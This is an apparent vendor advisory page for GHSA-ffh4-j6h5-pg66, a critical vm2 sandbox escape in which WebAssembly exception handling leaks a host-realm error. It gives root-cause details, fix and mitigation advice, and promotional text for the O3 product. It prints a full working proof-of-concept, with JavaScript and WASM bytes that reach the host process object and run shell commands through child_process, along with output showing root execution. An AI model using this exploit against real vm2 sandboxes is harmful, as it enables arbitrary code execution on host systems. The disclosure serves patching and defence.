GHSA-ffh4-j6h5-pg66
CRITICALGHSA-ffh4-j6h5-pg66 is a critical-severity (CVSS 9.8) remote code execution vulnerability in vm2. O3 Security confirms whether GHSA-ffh4-j6h5-pg66 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
VM2 Has a WASM Sandbox Escape
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
vm2npmDescription
Summary
Full sandbox escape with arbitrary code execution. Attacker code inside VM.run() obtains host process object and runs host commands with zero host cooperation.
Details
Confirmed on: vm2 3.10.4, Node.js v25.6.1 (x64 Linux)
Trigger: Attacker-controlled code passed to VM.run()
Requires: Node.js version with WebAssembly exception handling + JSTag support (tested on v25.6.1)
vm2's sandbox security relies on two JavaScript-level mechanisms: (1) a code transformer that injects handleException() into JS catch clauses to wrap host-realm errors, and (2) bridge Proxies that wrap cross-context objects. Both operate entirely within JavaScript.
WebAssembly's try_table instruction with a JSTag catch handler catches JavaScript exceptions at V8's C++ level — below JavaScript entirely. When an imported JS function throws a TypeError produced by Symbol-to-string coercion during stack formatting (e.name = Symbol(); e.stack), the WASM try_table catches it as an opaque externref and returns it as a normal function return value. This WASM exception-handling-to-return-value path is not sanitized by vm2 — the host-realm TypeError reaches attacker code unsanitized. Its constructor chain (hostError.constructor.constructor) resolves to a Function that returns the host process object, allowing for reflection outside of the vm2 context, leading to code execution.
PoC
const { VM } = require("vm2");
console.log("vm2:", require("vm2/package.json").version, "| node:", process.version);
new VM().run(`
const before = typeof process;
const err = new Error("x");
err.name = Symbol();
const wasm = new Uint8Array([
0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
0x02,0x19,0x02,
0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
0x03,0x02,0x01,0x01,
0x07,0x0f,0x01,
0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
0x0a,0x12,0x01,0x10,0x00,
0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
]);
const instance = new WebAssembly.Instance(
new WebAssembly.Module(wasm),
{ env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }
);
const hostError = instance.exports.catch_error();
const p = hostError.constructor.constructor("return process")();
const id = p.mainModule.require("child_process").execSync("id").toString().trim();
const log = p.mainModule.require("console").log;
log("");
log("process before escape:", before);
log("process after escape: ", typeof p);
log("host pid: ", p.pid);
log("host node version: ", p.version);
log("RCE: ", id);
`);
> node poc.js
vm2: 3.10.4 | node: v25.6.1
process before escape: undefined
process after escape: object
host pid: 217
host node version: v25.6.1
RCE: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Proof files poc.js
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.10.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vm2 to 3.10.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-ffh4-j6h5-pg66 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-ffh4-j6h5-pg66 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-ffh4-j6h5-pg66. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-ffh4-j6h5-pg66 in your dependencies?
O3 detects GHSA-ffh4-j6h5-pg66 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.